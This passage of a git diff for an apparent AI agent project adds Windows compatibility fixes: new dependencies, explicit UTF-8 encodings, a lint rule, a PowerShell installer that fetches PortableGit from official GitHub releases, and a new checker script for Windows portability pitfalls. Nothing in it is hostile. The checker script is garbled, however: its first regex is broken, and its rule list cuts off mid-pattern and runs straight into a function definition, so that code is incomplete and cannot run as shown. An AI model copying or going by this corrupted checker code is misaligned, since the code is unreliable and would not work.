get_env_value("GOOGLE_CHAT_SUBSCRIPTION_NAME") if existing_sub: diff --git a/pyproject.toml b/pyproject.toml index 55297554cf7..6d1a3e1ec2e 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -36,6 +36,18 @@ dependencies = [ "edge-tts>=7.2.7,<8", # Skills Hub (GitHub App JWT auth — optional, only needed for bot identity) "PyJWT[crypto]>=2.12.0,<3", # CVE-2026-32597 + # Windows has no IANA tzdata shipped with the OS, so Python's ``zoneinfo`` + # (PEP 615) raises ``ZoneInfoNotFoundError`` for every non-UTC timezone + # out of the box. ``tzdata`` ships the Olson database as a data package + # Python resolves automatically. No-op on Linux/macOS (which have + # /usr/share/zoneinfo). Credits: PR #13182 (@sprmn24). + "tzdata>=2023.3; sys_platform == 'win32'", + # Cross-platform process / PID management. `psutil` is the canonical + # answer for "is this PID alive" and process-tree walking across Linux, + # macOS and Windows. It replaces POSIX-only idioms like `os.kill(pid, 0)` + # (which is a silent killer on Windows — see CONTRIBUTING.md) and + # `os.killpg` (which doesn't exist on Windows). + "psutil>=5.9.0,<8", ] [project.optional-dependencies] @@ -159,7 +171,7 @@ hermes-agent = "run_agent:main" hermes-acp = "acp_adapter.entry:main" [tool.setuptools] -py-modules = ["run_agent", "model_tools", "toolsets", "batch_runner", "trajectory_compressor", "toolset_distributions", "cli", "hermes_constants", "hermes_state", "hermes_time", "hermes_logging", "rl_cli", "utils"] +py-modules = ["run_agent", "model_tools", "toolsets", "batch_runner", "trajectory_compressor", "toolset_distributions", "cli", "hermes_bootstrap", "hermes_constants", "hermes_state", "hermes_time", "hermes_logging", "rl_cli", "utils"] [tool.setuptools.package-data] hermes_cli = ["web_dist/**/*"] @@ -187,7 +199,25 @@ exclude = ["tinker-atropos"] [tool.ruff] exclude = ["tinker-atropos"] -select = [] # disable all lints for now, until we've wrangled typechecks a bit more :3 +preview = true # required for PLW1514 (unspecified-encoding) — preview rule + +[tool.ruff.lint] +# All other lints are intentionally disabled (see comment history on this +# file) while we wrangle typechecks — but PLW1514 is too load-bearing to +# keep off. Bare open()/read_text()/write_text() in text mode defaults to +# the system locale encoding on Windows (cp1252 on US-locale installs), +# which silently corrupts any non-ASCII file content. We had three +# separate Windows sandbox regressions in one debug session before +# adding the explicit encoding. This rule keeps new code honest. +select = ["PLW1514"] + +[tool.ruff.lint.per-file-ignores] +# Tests can intentionally exercise locale-encoding edge cases. +"tests/**" = ["PLW1514"] +# Skills and plugins are partially user-authored — their own conventions. +"skills/**" = ["PLW1514"] +"optional-skills/**" = ["PLW1514"] +"plugins/**" = ["PLW1514"] [tool.uv] exclude-newer = "7 days" diff --git a/rl_cli.py b/rl_cli.py index 8054b627e9a..d494c1addb2 100644 --- a/rl_cli.py +++ b/rl_cli.py @@ -82,7 +82,7 @@ def load_hermes_config() -> dict: if config_path.exists(): try: - with open(config_path, "r") as f: + with open(config_path, "r", encoding='utf-8') as f: file_config = yaml.safe_load(f) or {} # Get model from config diff --git a/run_agent.py b/run_agent.py index cc35772c512..255f9a6bd22 100644 --- a/run_agent.py +++ b/run_agent.py @@ -20,6 +20,17 @@ Usage: response = agent.run_conversation("Tell me about the latest Python updates") """ +# IMPORTANT: hermes_bootstrap must be the very first import — UTF-8 stdio +# on Windows. No-op on POSIX. See hermes_bootstrap.py for full rationale. +try: + import hermes_bootstrap # noqa: F401 +except ModuleNotFoundError: + # Graceful fallback when hermes_bootstrap isn't registered in the venv + # yet — happens during partial ``hermes update`` where git-reset landed + # new code but ``uv pip install -e .`` didn't finish. Missing bootstrap + # means UTF-8 stdio setup is skipped on Windows; POSIX is unaffected. + pass + import asyncio import base64 import concurrent.futures @@ -3820,7 +3831,7 @@ class AIAgent: pass review_agent = None try: - with open(os.devnull, "w") as _devnull, \ + with open(os.devnull, "w", encoding="utf-8") as _devnull, \ contextlib.redirect_stdout(_devnull), \ contextlib.redirect_stderr(_devnull): # Inherit the parent agent's live runtime (provider, model, diff --git a/scripts/build_model_catalog.py b/scripts/build_model_catalog.py index cd21c929e74..102ae2b05b0 100755 --- a/scripts/build_model_catalog.py +++ b/scripts/build_model_catalog.py @@ -81,7 +81,7 @@ def build_catalog() -> dict: def main() -> int: catalog = build_catalog() os.makedirs(os.path.dirname(OUTPUT_PATH), exist_ok=True) - with open(OUTPUT_PATH, "w") as fh: + with open(OUTPUT_PATH, "w", encoding="utf-8") as fh: json.dump(catalog, fh, indent=2) fh.write("\n") diff --git a/scripts/build_skills_index.py b/scripts/build_skills_index.py index efa1ba76edc..96a0b637596 100644 --- a/scripts/build_skills_index.py +++ b/scripts/build_skills_index.py @@ -304,7 +304,7 @@ def main(): } os.makedirs(os.path.dirname(OUTPUT_PATH), exist_ok=True) - with open(OUTPUT_PATH, "w") as f: + with open(OUTPUT_PATH, "w", encoding="utf-8") as f: json.dump(index, f, separators=(",", ":"), ensure_ascii=False) elapsed = time.time() - overall_start diff --git a/scripts/check-windows-footguns.py b/scripts/check-windows-footguns.py new file mode 100644 index 00000000000..f424be90710 --- /dev/null +++ b/scripts/check-windows-footguns.py @@ -0,0 +1,624 @@ +#!/usr/bin/env python3 +""" +Grep-based checker for Windows cross-platform footguns. + +Flags common patterns that break silently on Windows. Run before PRs — +cheap, fast, catches regressions in a codebase that runs on three OSes. + +Usage: + # Scan staged changes (default when run from a git checkout) + python scripts/check-windows-footguns.py + + # Scan the full tree (full-repo audit) + python scripts/check-windows-footguns.py --all + + # Scan a specific file or directory + python scripts/check-windows-footguns.py path/to/file.py path/to/dir/ + + # Scan only modified files vs. main + python scripts/check-windows-footguns.py --diff main + +Exit status: + 0 — no Windows footguns found (or all matches suppressed) + 1 — at least one unsuppressed match + +Suppress an intentional use (e.g. tests or platform-gated code) with: + os.kill(pid, 0) # windows-footgun: ok — only called on POSIX +""" + +from __future__ import annotations + +import argparse +import os +import re +import subprocess +import sys +from dataclasses import dataclass +from pathlib import Path +from typing import Iterable + +REPO_ROOT = Path(__file__).resolve().parent.parent + +SUPPRESS_MARKER = re.compile(r"#\s*windows-footgun\s*:\s*ok\b", re.IGNORECASE) + +# Line-level guard hints. If a line contains any of these tokens, we assume +# the programmer wrote the line in full awareness of the Windows pitfall — +# e.g. `if hasattr(os, 'setsid'): ... os.setsid()`, or the classic +# `getattr(signal, 'SIGKILL', signal.SIGTERM)`, or `shutil.which("wmic")`. +# False negatives are fine here — the inline `# windows-footgun: ok` marker +# is still the authoritative suppression. This is just to reduce the noise +# floor on obviously-guarded lines so the signal-to-noise stays useful. +GUARD_HINTS = ( + "hasattr(os,", + "hasattr(signal,", + "getattr(os,", + "getattr(signal,", + "shutil.which(", + "if platform.system() != \"Windows\"", + "if platform.system() != 'Windows'", + "if sys.platform == \"win32\"", + "if sys.platform != \"win32\"", + "if sys.platform == 'win32'", + "if sys.platform != 'win32'", + "IS_WINDOWS", + "is_windows", +) + +# Dirs we never scan. +EXCLUDED_DIRS = { + ".git", + "node_modules", + "venv", + ".venv", + "__pycache__", + "build", + "dist", + ".tox", + ".mypy_cache", + ".pytest_cache", + "site-packages", + "website/build", + "optional-skills", # external skills +} + +# File globs we never scan (beyond the dirs above). +EXCLUDED_SUFFIXES = { + ".pyc", + ".pyo", + ".so", + ".dll", + ".exe", + ".png", + ".jpg", + ".gif", + ".ico", + ".svg", + ".mp4", + ".mp3", + ".wav", + ".pdf", + ".zip", + ".tar", + ".gz", + ".whl", + ".lock", + ".min.js", + ".min.css", +} + +# Files we never scan (self-referential — this script mentions the +# patterns it detects — and the CONTRIBUTING docs that list them). +EXCLUDED_FILES = { + "scripts/check-windows-footguns.py", + "CONTRIBUTING.md", +} + + +@dataclass +class Footgun: + """A Windows cross-platform footgun pattern.""" + + name: str + pattern: re.Pattern + message: str + fix: str + # If set, matches in files/paths containing any of these substrings are + # silently ignored (e.g. tests that legitimately exercise the footgun + # behind a platform guard). Prefer `# windows-footgun: ok` inline + # suppression over this list; only use path_allowlist for whole files + # that are inherently tests of the footgun itself. + path_allowlist: tuple[str, ...] = () + # Optional post-match predicate. Takes the re.Match and returns True + # if the match is a REAL footgun (not a false positive). Use this when + # the regex can't fully distinguish (e.g. open() where mode may contain + # "b" for binary, or the line may have `encoding=` elsewhere). + post_filter: "callable | None" = None + + +FOOTGUNS: list[Footgun] = [ + Footgun( + name="open() without encoding= on text mode", + # Match builtins.open() specifically — NOT os.open(), .open() + # method calls (Path.open, tarfile.open, zf.open, webbrowser.open, + # Image.open, wave.open, etc), or `async def open()` method + # definitions. The pattern requires a start-of-identifier boundary + # before `open(` so `os.open`, `.open`, `def open` are all skipped. + # Note: Path.open() is ALSO affected by the encoding default, but + # rather than flagging all `.open(` (huge noise), we require an + # explicit builtins-style open() call. Path.open() is rare in the + # codebase compared to open() and can be audited separately. + pattern=re.compile( + r"""(?:^|[\s\(,;=])(?[^'"]*)['"])?""" + ), + message=( + "open() without an explicit encoding= uses the platform default " + "(UTF-8 on POSIX, cp1252/mbcs on Windows) — files round-tripped " + "between hosts get mojibake. Always pass encoding='utf-8' for " + "text files, or use open(path, 'rb')/'wb' for binary." + ), + fix=( + "open(path, 'r', encoding='utf-8') # or 'utf-8-sig' if the " + "file may have a BOM" + ), + # Filter: only flag if mode is missing-or-text AND the line doesn't + # already pass encoding=. Skip binary mode (contains "b"). + post_filter=lambda m, line: ( + "b" not in (m.group("mode") or "") + and "encoding=" not in line + and "encoding =" not in line + # Skip `def open(` and `async def open(` (method definitions) + and not line.lstrip().startswith("def ") + and not line.lstrip().startswith("async def ") + # Skip open(path, **kwargs) patterns — encoding may be in the dict. + # Too expensive to trace; require the author to set encoding in + # the dict and trust them (or they can add a # windows-footgun: ok). + and "**" not in line + ), + ), + Footgun( + name="os.kill(pid, 0)", + pattern=re.compile(r"\bos\.kill\s*\(\s*[^,]+,\s*0\s*\)"), + message=( + "os.kill(pid, 0) is NOT a no-op on Windows — it sends " + "CTRL_C_EVENT to the target's console process group, " + "hard-killing the target and potentially unrelated siblings. " + "See bpo-14484." + ), + fix=( + "Use psutil.pid_exists(pid) (psutil is a core dependency). " + "Or gateway.status._pid_exists(pid) for the hermes wrapper " + "with a stdlib fallback." + ), + ), + Footgun( + name="bare os.setsid", + pattern=re.compile(r"(? bool: + """Return True if this file is in scope for the checker.""" + # Skip the excluded dirs + parts = set(path.parts) + if parts & EXCLUDED_DIRS: + return False + # Skip excluded suffixes + for suffix in EXCLUDED_SUFFIXES: + if str(path).endswith(suffix): + return False + # Skip self and docs that intentionally mention the patterns + rel = path.relative_to(REPO_ROOT).as_posix() + if rel in EXCLUDED_FILES: + return False + # Only scan text files (rough heuristic — .py, .md, .sh, .ps1, .yaml, etc.) + if path.suffix in {".py", ".pyw", ".pyi"}: + return True + # Other file types are read but only Python-specific patterns would match; + # that's fine and cheap to skip. + return False + + +def iter_files(paths: Iterable[Path]) -> Iterable[Path]: + for p in paths: + if p.is_file(): + if should_scan_file(p): + yield p + elif p.is_dir(): + for root, dirs, files in os.walk(p): + # prune excluded dirs in-place for speed + dirs[:] = [d for d in dirs if d not in EXCLUDED_DIRS] + for fname in files: + fpath = Path(root) / fname + if should_scan_file(fpath): + yield fpath + + +def _strip_code(line: str) -> str: + """Return just the code portion of a line — strip trailing comments and + skip lines that are entirely inside a string literal or comment. + + Heuristic only (we don't parse Python); good enough to avoid flagging + our own `# ``os.kill(pid, 0)`` is NOT a no-op` docstring-style comments. + """ + stripped = line.lstrip() + # Line starts with # — entirely a comment. + if stripped.startswith("#"): + return "" + # Remove trailing "# ..." inline comment. Naive — doesn't handle `#` + # inside strings — but on balance reduces noise far more than it adds. + hash_idx = _find_unquoted_hash(line) + if hash_idx is not None: + return line[:hash_idx] + return line + + +def _find_unquoted_hash(line: str) -> int | None: + """Index of the first `#` not inside a single/double/triple-quoted string. + + Simple state machine — good enough for the 99% case of "code, then + optional trailing comment." + """ + i = 0 + n = len(line) + in_s = False # single-quote string + in_d = False # double-quote string + while i < n: + c = line[i] + if c == "\\" and (in_s or in_d) and i + 1 < n: + i += 2 + continue + if not in_d and c == "'": + in_s = not in_s + elif not in_s and c == '"': + in_d = not in_d + elif c == "#" and not in_s and not in_d: + return i + i += 1 + return None + + +def scan_file(path: Path, footguns: list[Footgun]) -> list[tuple[int, str, Footgun]]: + """Return a list of (line_number, line, footgun) for unsuppressed matches.""" + try: + text = path.read_text(encoding="utf-8", errors="replace") + except OSError: + return [] + matches: list[tuple[int, str, Footgun]] = [] + + # Track whether we're inside a triple-quoted string (docstring/raw block). + # Simple state machine — handles both ''' and """, toggled by the FIRST + # triple-quote we see; we don't try to handle nested or f-string cases. + in_triple: str | None = None # None, "'''", or '"""' + + for i, line in enumerate(text.splitlines(), start=1): + # Update triple-quote state based on this line's occurrences. + code_for_scan = line + if in_triple: + # We're inside a docstring — skip the whole line's scan. + # Check if it closes here. + if in_triple in line: + # Find the closing delimiter; anything after it is real code. + after = line.split(in_triple, 1)[1] + in_triple = None + code_for_scan = after + else: + continue + # Now check for docstring-open in the (possibly after-triple) portion. + # Scan for the first unescaped '''/""" in the current code_for_scan. + stripped = code_for_scan.strip() + for delim in ('"""', "'''"): + if delim in code_for_scan: + # Count occurrences — even count means single-line docstring, + # odd means we've entered a multi-line one. + count = code_for_scan.count(delim) + if count % 2 == 1: + # Odd — we're now inside the triple-quoted block. + # Scan only the part BEFORE the opening delimiter. + before = code_for_scan.split(delim, 1)[0] + code_for_scan = before + in_triple = delim + break + else: + # Even — entire docstring fits on one line. Strip it + # from the scan text to avoid matching on prose. + parts = code_for_scan.split(delim) + # Keep the "outside" parts (every other chunk, starting + # with index 0) as code, drop the "inside" parts. + code_for_scan = "".join(parts[::2]) + break + + if SUPPRESS_MARKER.search(line): + continue + # Skip if the line has an obvious guard — e.g. hasattr/getattr/ + # shutil.which or a platform check. False negatives are acceptable; + # the inline suppression marker is the authoritative override. + if any(hint in line for hint in GUARD_HINTS): + continue + code = _strip_code(code_for_scan) + if not code.strip(): + continue + for fg in footguns: + if fg.path_allowlist and any(s in str(path) for s in fg.path_allowlist): + continue + match = fg.pattern.search(code) + if not match: + continue + if fg.post_filter is not None: + try: + if not fg.post_filter(match, line): + continue + except (IndexError, AttributeError): + # Post-filter assumed a named group that isn't there — skip. + continue + matches.append((i, line.rstrip(), fg)) + return matches + + +def get_staged_files() -> list[Path]: + """Return paths staged in the current git index. Empty on non-git trees.""" + try: + out = subprocess.check_output( + ["git", "diff", "--cached", "--name-only", "--diff-filter=ACMR"], + cwd=REPO_ROOT, + stderr=subprocess.DEVNULL, + text=True, + ) + except (subprocess.CalledProcessError, FileNotFoundError): + return [] + return [REPO_ROOT / f for f in out.splitlines() if f.strip()] + + +def get_diff_files(ref: str) -> list[Path]: + """Return paths modified vs. the given git ref.""" + try: + out = subprocess.check_output( + ["git", "diff", f"{ref}...HEAD", "--name-only", "--diff-filter=ACMR"], + cwd=REPO_ROOT, + stderr=subprocess.DEVNULL, + text=True, + ) + except (subprocess.CalledProcessError, FileNotFoundError): + return [] + return [REPO_ROOT / f for f in out.splitlines() if f.strip()] + + +def parse_args(argv: list[str]) -> argparse.Namespace: + p = argparse.ArgumentParser( + description="Flag Windows cross-platform footguns in Python code." + ) + p.add_argument( + "paths", + nargs="*", + type=Path, + help="Specific files/dirs to scan (default: staged changes).", + ) + p.add_argument( + "--all", + action="store_true", + help="Scan the full repository (hermes_cli/, gateway/, tools/, cron/, etc.).", + ) + p.add_argument( + "--diff", + metavar="REF", + help="Scan files changed vs. the given git ref (e.g. --diff main).", + ) + p.add_argument( + "--list", + action="store_true", + help="List all known footgun rules and exit.", + ) + return p.parse_args(argv) + + +def print_rules() -> None: + print("Known Windows footguns checked by this script:\n") + for i, fg in enumerate(FOOTGUNS, start=1): + print(f"{i:2}. {fg.name}") + print(f" {fg.message}") + print(f" Fix: {fg.fix}") + print() + + +def main(argv: list[str]) -> int: + args = parse_args(argv) + + if args.list: + print_rules() + return 0 + + if args.all: + # Scan main Python packages + scripts + roots = [ + REPO_ROOT / "hermes_cli", + REPO_ROOT / "gateway", + REPO_ROOT / "tools", + REPO_ROOT / "cron", + REPO_ROOT / "agent", + REPO_ROOT / "plugins", + REPO_ROOT / "scripts", + REPO_ROOT / "acp_adapter", + REPO_ROOT / "acp_registry", + ] + roots = [r for r in roots if r.exists()] + elif args.diff: + roots = get_diff_files(args.diff) + elif args.paths: + roots = [p.resolve() for p in args.paths] + else: + # Default: staged changes + roots = get_staged_files() + if not roots: + print( + "No staged files to scan. Pass --all for a full-repo scan, " + "--diff for a range diff, or paths explicitly.", + file=sys.stderr, + ) + return 0 + + total_matches = 0 + files_scanned = 0 + for path in iter_files(roots): + files_scanned += 1 + matches = scan_file(path, FOOTGUNS) + for lineno, line, fg in matches: + rel = path.relative_to(REPO_ROOT).as_posix() + print(f"{rel}:{lineno}: [{fg.name}]") + print(f" {line.strip()}") + print(f" — {fg.message}") + print(f" Fix: {fg.fix.splitlines()[0]}") + print() + total_matches += 1 + + if total_matches: + print( + f"\n✗ {total_matches} Windows footgun(s) found across " + f"{files_scanned} file(s) scanned.", + file=sys.stderr, + ) + print( + " If an individual match is a false positive or intentionally " + "platform-gated, suppress it with `# windows-footgun: ok` on " + "the same line.\n Run with --list to see all rules.", + file=sys.stderr, + ) + return 1 + + print( + f"✓ No Windows footguns found ({files_scanned} file(s) scanned)." + ) + return 0 + + +if __name__ == "__main__": + sys.exit(main(sys.argv[1:])) diff --git a/scripts/contributor_audit.py b/scripts/contributor_audit.py index 9849dc81f0b..50bf3042642 100644 --- a/scripts/contributor_audit.py +++ b/scripts/contributor_audit.py @@ -291,7 +291,7 @@ def check_release_file(release_file, all_contributors): missing: set of handles NOT found in the file """ try: - content = Path(release_file).read_text() + content = Path(release_file).read_text(encoding="utf-8") except FileNotFoundError: print(f" [error] Release file not found: {release_file}", file=sys.stderr) return set(), set(all_contributors) diff --git a/scripts/discord-voice-doctor.py b/scripts/discord-voice-doctor.py index 8227c8d11c7..e295225a0e3 100755 --- a/scripts/discord-voice-doctor.py +++ b/scripts/discord-voice-doctor.py @@ -242,7 +242,7 @@ def check_config(groq_key, eleven_key): if config_path.exists(): try: import yaml - with open(config_path) as f: + with open(config_path, encoding="utf-8") as f: cfg = yaml.safe_load(f) or {} stt_provider = cfg.get("stt", {}).get("provider", "local") diff --git a/scripts/install.ps1 b/scripts/install.ps1 index 144113d5a0f..ed0f802a1c9 100644 --- a/scripts/install.ps1 +++ b/scripts/install.ps1 @@ -191,19 +191,213 @@ function Test-Python { return $false } -function Test-Git { +function Install-Git { + <# + .SYNOPSIS + Ensure Git (and Git Bash) are installed. Git for Windows bundles bash.exe + which Hermes uses to run shell commands. + + Priority order (deliberately simple — no winget, no registry, no system + package manager): + 1. Existing ``git`` on PATH — use it as-is (the common fast path). + 2. Download **PortableGit** from the official git-for-windows GitHub + release (self-extracting 7z.exe) and unpack it to + ``%LOCALAPPDATA%\hermes\git`` — never touches system Git, never + requires admin, works even on locked-down machines and machines + with a broken system Git install. + + **Why PortableGit, not MinGit:** MinGit is the minimal-automation + distribution and ships ONLY ``git.exe`` — no bash, no POSIX utilities. + Hermes needs ``bash.exe`` to run shell commands. PortableGit is the + full Git for Windows distribution without the installer UI; it ships + ``git.exe`` + ``bash.exe`` + ``sh``, ``awk``, ``sed``, ``grep``, ``curl``, + ``ssh``, etc. in ``usr\bin\``. + + We deliberately skip winget because it fails badly when the system Git + install is in a half-installed state (partially registered, or uninstall- + blocked). Owning the Hermes copy of Git ourselves is predictable and + recoverable: if it ever breaks, ``Remove-Item %LOCALAPPDATA%\hermes\git`` + and re-running this installer fully recovers. + + After install we locate ``bash.exe`` and persist the path in + ``HERMES_GIT_BASH_PATH`` (User scope) so Hermes can find it in a fresh + shell without a second PATH refresh. + #> Write-Info "Checking Git..." - + if (Get-Command git -ErrorAction SilentlyContinue) { $version = git --version Write-Success "Git found ($version)" + Set-GitBashEnvVar return $true } - - Write-Err "Git not found" - Write-Info "Please install Git from:" - Write-Info " https://git-scm.com/download/win" - return $false + + # Download PortableGit into $HermesHome\git. Always works as long as + # we can reach github.com — no admin, no winget, no reliance on the + # user's possibly-broken system Git install. + Write-Info "Git not found — downloading PortableGit to $HermesHome\git\ ..." + Write-Info "(no admin rights required; isolated from any system Git install)" + + try { + $arch = if ([Environment]::Is64BitOperatingSystem) { + # Detect ARM64 vs x64 explicitly; PortableGit ships separate assets. + if ($env:PROCESSOR_ARCHITECTURE -eq "ARM64" -or $env:PROCESSOR_ARCHITEW6432 -eq "ARM64") { + "arm64" + } else { + "64-bit" + } + } else { + # PortableGit does not ship a 32-bit build — fall back to MinGit 32-bit + # with a warning that bash-based features will be unavailable. + "32-bit-mingit" + } + + $releaseApi = "https://api.github.com/repos/git-for-windows/git/releases/latest" + $release = Invoke-RestMethod -Uri $releaseApi -UseBasicParsing -Headers @{ "User-Agent" = "hermes-installer" } + + if ($arch -eq "32-bit-mingit") { + Write-Warn "32-bit Windows detected — PortableGit is 64-bit only. Installing MinGit 32-bit as a last resort; bash-dependent Hermes features (terminal tool, agent-browser) will not work on this machine." + $assetPattern = "MinGit-*-32-bit.zip" + $downloadIsZip = $true + } elseif ($arch -eq "arm64") { + $assetPattern = "PortableGit-*-arm64.7z.exe" + $downloadIsZip = $false + } else { + $assetPattern = "PortableGit-*-64-bit.7z.exe" + $downloadIsZip = $false + } + + $asset = $release.assets | Where-Object { $_.name -like $assetPattern } | Select-Object -First 1 + + if (-not $asset) { + throw "Could not find $assetPattern in latest git-for-windows release" + } + + $downloadUrl = $asset.browser_download_url + $downloadExt = if ($downloadIsZip) { "zip" } else { "7z.exe" } + $tmpFile = "$env:TEMP\$($asset.name)" + $gitDir = "$HermesHome\git" + + Write-Info "Downloading $($asset.name) ($([math]::Round($asset.size / 1MB, 1)) MB)..." + Invoke-WebRequest -Uri $downloadUrl -OutFile $tmpFile -UseBasicParsing + + if (Test-Path $gitDir) { + Write-Info "Removing previous Git install at $gitDir ..." + Remove-Item -Recurse -Force $gitDir + } + New-Item -ItemType Directory -Path $gitDir -Force | Out-Null + + if ($downloadIsZip) { + Expand-Archive -Path $tmpFile -DestinationPath $gitDir -Force + } else { + # PortableGit is a self-extracting 7z archive. Invoke it with + # `-o -y` (silent) to extract to $gitDir. No 7z install + # required; it's fully self-contained. + Write-Info "Extracting PortableGit to $gitDir ..." + $extractProc = Start-Process -FilePath $tmpFile ` + -ArgumentList "-o`"$gitDir`"", "-y" ` + -NoNewWindow -Wait -PassThru + if ($extractProc.ExitCode -ne 0) { + throw "PortableGit extraction failed (exit code $($extractProc.ExitCode))" + } + } + Remove-Item -Force $tmpFile -ErrorAction SilentlyContinue + + # PortableGit layout: cmd\git.exe + bin\bash.exe + usr\bin\ (coreutils) + # MinGit layout: cmd\git.exe + usr\bin\bash.exe (if present) + $gitExe = "$gitDir\cmd\git.exe" + if (-not (Test-Path $gitExe)) { + throw "Git extraction did not produce git.exe at $gitExe" + } + + # Add to session PATH so the rest of this install run can use git. + $env:Path = "$gitDir\cmd;$env:Path" + + # Persist to User PATH so fresh shells see it. PortableGit needs + # cmd\ (for git.exe), bin\ (for bash.exe + core tools), and + # usr\bin\ (for perl, ssh, curl, and other POSIX coreutils). + $newPathEntries = @( + "$gitDir\cmd", + "$gitDir\bin", + "$gitDir\usr\bin" + ) + $userPath = [Environment]::GetEnvironmentVariable("Path", "User") + $userPathItems = if ($userPath) { $userPath -split ";" } else { @() } + $changed = $false + foreach ($entry in $newPathEntries) { + if ($userPathItems -notcontains $entry) { + $userPathItems += $entry + $changed = $true + } + } + if ($changed) { + [Environment]::SetEnvironmentVariable("Path", ($userPathItems -join ";"), "User") + } + + $version = & $gitExe --version + Write-Success "Git $version installed to $gitDir (portable, user-scoped)" + Set-GitBashEnvVar + return $true + } catch { + Write-Err "Could not install portable Git: $_" + Write-Info "" + Write-Info "Fallback: install Git manually from https://git-scm.com/download/win" + Write-Info "then re-run this installer. Hermes needs Git Bash on Windows to run" + Write-Info "shell commands (same as Claude Code and other coding agents)." + return $false + } +} + +function Set-GitBashEnvVar { + <# + .SYNOPSIS + Locate ``bash.exe`` from an already-installed Git and persist the path in + ``HERMES_GIT_BASH_PATH`` (User env scope) so Hermes can find it even before + PATH propagation completes in a newly-spawned shell. + #> + $candidates = @() + + # Our own portable Git install is ALWAYS checked first, so a broken + # system Git doesn't hijack us. If the user had a working system Git + # we'd have returned early from Install-Git's fast path and never called + # this with a system-Git-only installation anyway. + # + # Layouts: + # PortableGit (our default): $HermesHome\git\bin\bash.exe + # MinGit (32-bit fallback): $HermesHome\git\usr\bin\bash.exe + $candidates += "$HermesHome\git\bin\bash.exe" # PortableGit layout (primary) + $candidates += "$HermesHome\git\usr\bin\bash.exe" # MinGit / PortableGit usr\bin fallback + + # git.exe on PATH can tell us where the install root is + $gitCmd = Get-Command git -ErrorAction SilentlyContinue + if ($gitCmd) { + $gitExe = $gitCmd.Source + # Git for Windows (full installer): \cmd\git.exe + \bin\bash.exe + # MinGit: \cmd\git.exe + \usr\bin\bash.exe + $gitRoot = Split-Path (Split-Path $gitExe -Parent) -Parent + $candidates += "$gitRoot\bin\bash.exe" + $candidates += "$gitRoot\usr\bin\bash.exe" + } + + # Standard system install locations as a final fallback. Note: + # ProgramFiles(x86) can't be referenced via ${env:...} string interpolation + # because of the parens — use [Environment]::GetEnvironmentVariable(). + $candidates += "${env:ProgramFiles}\Git\bin\bash.exe" + $pf86 = [Environment]::GetEnvironmentVariable("ProgramFiles(x86)") + if ($pf86) { $candidates += "$pf86\Git\bin\bash.exe" } + $candidates += "${env:LocalAppData}\Programs\Git\bin\bash.exe" + + foreach ($candidate in $candidates) { + if ($candidate -and (Test-Path $candidate)) { + [Environment]::SetEnvironmentVariable("HERMES_GIT_BASH_PATH", $candidate, "User") + $env:HERMES_GIT_BASH_PATH = $candidate + Write-Info "Set HERMES_GIT_BASH_PATH=$candidate" + return + } + } + + Write-Warn "Could not locate bash.exe — Hermes may not find Git Bash." + Write-Info "If needed, set HERMES_GIT_BASH_PATH manually to your bash.exe path." } function Test-Node { @@ -411,21 +605,71 @@ function Install-SystemPackages { function Install-Repository { Write-Info "Installing to $InstallDir..." - + + $didUpdate = $false + if (Test-Path $InstallDir) { + # Test-Path "$InstallDir\.git" returns True when .git is a file OR a + # directory OR a symlink OR a submodule-style gitfile — and also when + # it's a broken stub left over from a failed previous install (e.g. + # a partial Remove-Item that couldn't delete a locked index.lock). + # Validate the repo properly by asking git itself. Two checks + # belt-and-braces: rev-parse AND git status. If either fails the + # repo is broken and we fall through to a fresh clone. + $repoValid = $false if (Test-Path "$InstallDir\.git") { + Push-Location $InstallDir + try { + # Reset $LASTEXITCODE before the probe so we don't pick up + # a stale 0 from an earlier git call in this session. + $global:LASTEXITCODE = 0 + $revParseOut = & git -c windows.appendAtomically=false rev-parse --is-inside-work-tree 2>&1 + $revParseOk = ($LASTEXITCODE -eq 0) -and ($revParseOut -match "true") + + $global:LASTEXITCODE = 0 + $null = & git -c windows.appendAtomically=false status --short 2>&1 + $statusOk = ($LASTEXITCODE -eq 0) + + if ($revParseOk -and $statusOk) { + $repoValid = $true + } + } catch {} + Pop-Location + } + + if ($repoValid) { Write-Info "Existing installation found, updating..." Push-Location $InstallDir - git -c windows.appendAtomically=false fetch origin - git -c windows.appendAtomically=false checkout $Branch - git -c windows.appendAtomically=false pull origin $Branch - Pop-Location + try { + git -c windows.appendAtomically=false fetch origin + if ($LASTEXITCODE -ne 0) { throw "git fetch failed (exit $LASTEXITCODE)" } + git -c windows.appendAtomically=false checkout $Branch + if ($LASTEXITCODE -ne 0) { throw "git checkout $Branch failed (exit $LASTEXITCODE)" } + git -c windows.appendAtomically=false pull origin $Branch + if ($LASTEXITCODE -ne 0) { throw "git pull failed (exit $LASTEXITCODE)" } + } finally { + Pop-Location + } + $didUpdate = $true } else { - Write-Err "Directory exists but is not a git repository: $InstallDir" - Write-Info "Remove it or choose a different directory with -InstallDir" - throw "Directory exists but is not a git repository: $InstallDir" + # Directory exists but isn't a usable git repo. Wipe it and + # fall through to a fresh clone. A leftover ``.git`` stub from + # a partial uninstall used to lock the installer into the + # "update" branch forever, emitting three ``fatal: not a git + # repository`` errors and failing with "not in a git directory". + Write-Warn "Existing directory at $InstallDir is not a valid git repo — replacing it." + try { + Remove-Item -Recurse -Force $InstallDir -ErrorAction Stop + } catch { + Write-Err "Could not remove $InstallDir : $_" + Write-Info "Close any programs that might be using files in $InstallDir (editors," + Write-Info "terminals, running hermes processes) and try again." + throw + } } - } else { + } + + if (-not $didUpdate) { $cloneSuccess = $false # Fix Windows git "copy-fd: write returned: Invalid argument" error. @@ -446,7 +690,7 @@ function Install-Repository { if ($LASTEXITCODE -eq 0) { $cloneSuccess = $true } } catch { } $env:GIT_SSH_COMMAND = $null - + if (-not $cloneSuccess) { if (Test-Path $InstallDir) { Remove-Item -Recurse -Force $InstallDir -ErrorAction SilentlyContinue } Write-Info "SSH failed, trying HTTPS..." @@ -464,18 +708,18 @@ function Install-Repository { $zipUrl = "https://github.com/NousResearch/hermes-agent/archive/refs/heads/$Branch.zip" $zipPath = "$env:TEMP\hermes-agent-$Branch.zip" $extractPath = "$env:TEMP\hermes-agent-extract" - + Invoke-WebRequest -Uri $zipUrl -OutFile $zipPath -UseBasicParsing if (Test-Path $extractPath) { Remove-Item -Recurse -Force $extractPath } Expand-Archive -Path $zipPath -DestinationPath $extractPath -Force - + # GitHub ZIPs extract to repo-branch/ subdirectory $extractedDir = Get-ChildItem $extractPath -Directory | Select-Object -First 1 if ($extractedDir) { New-Item -ItemType Directory -Force -Path (Split-Path $InstallDir) -ErrorAction SilentlyContinue | Out-Null Move-Item $extractedDir.FullName $InstallDir -Force Write-Success "Downloaded 